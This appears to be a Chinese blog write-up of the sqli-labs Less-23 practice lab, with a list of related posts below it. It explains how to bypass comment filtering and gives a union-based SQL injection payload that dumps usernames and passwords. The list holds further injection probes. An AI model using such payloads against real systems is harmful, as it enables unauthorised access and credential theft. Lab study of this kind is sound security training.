sqli-labs Less-23

作者: jun123123 | 来源:发表于2019-10-17 00:02 被阅读0次

首先判断注入类型为单字符注入，但是用0' or 1=1 %23进行注入时发现没有正确回显

1.png

结合题名大概猜测过滤了注释符。
通过报错猜测sql语句为

select * from users where id='$id' limit 0,1

因为过滤了注释符，无法通过注释掉后面一个'来闭合引号
既然要闭合'，那么必须通过构造字符串
因此考虑使用order by语句
构造payload：

?id=0' union select 1,group_concat(username),group_concat(password) from users order by '1

2.png

注入成功

sqli-labs修炼【24-37】
摘要：24-37关，是sqli-labs Page-2(Adv Injections) Less-23 单引号闭合...
Sqli-labs实验Task2（less23-38）
Sqli-labs实验Task2（less23-38） Less-23 进入实验页面可以看到又回到了最开始的类型，...
sqli-labs Less-23
首先判断注入类型为单字符注入，但是用0' or 1=1 %23进行注入时发现没有正确回显结合题名大概猜测过滤了注...
搭建sqli-labs注入平台
搭建SQL注入平台 docker搭建sqli-labs 运行sqli-labs 初始化数据库访问sqli-labs
sqli-labs靶场Less-62题解（少于130次）
sqli-labs[https://github.com/Audi-1/sqli-labs]靶场Less-62题目...
sqli-labs（less23-less37）
LESS-23 SQL语句$sql="SELECT * FROM users WHERE id='$id' LIM...
sqli-labs 的安装
sqli-labs 下载：https://github.com/Audi-1/sqli-labs 解压后放入 ph...
mysql 基于布尔的盲注
输入：http://192.168.87.130/sqli-labs/Less-5/?id=1' and 1=1 ...
基于Raspbian（树莓派）搭建web安全练习环境（二）
树莓派网络安全 DVWA WooYun-DVWA bWAPP WackoPicko sqli-labs ZVu...
sqli-labs write up
sqli-labs [TOC] Less-1: error based string 判断参数ID类型?id=1 ...

网友评论

本文标题：sqli-labs Less-23

本文链接：https://www.haomeiwen.com/subject/txppmctx.html

sqli-labs Less-23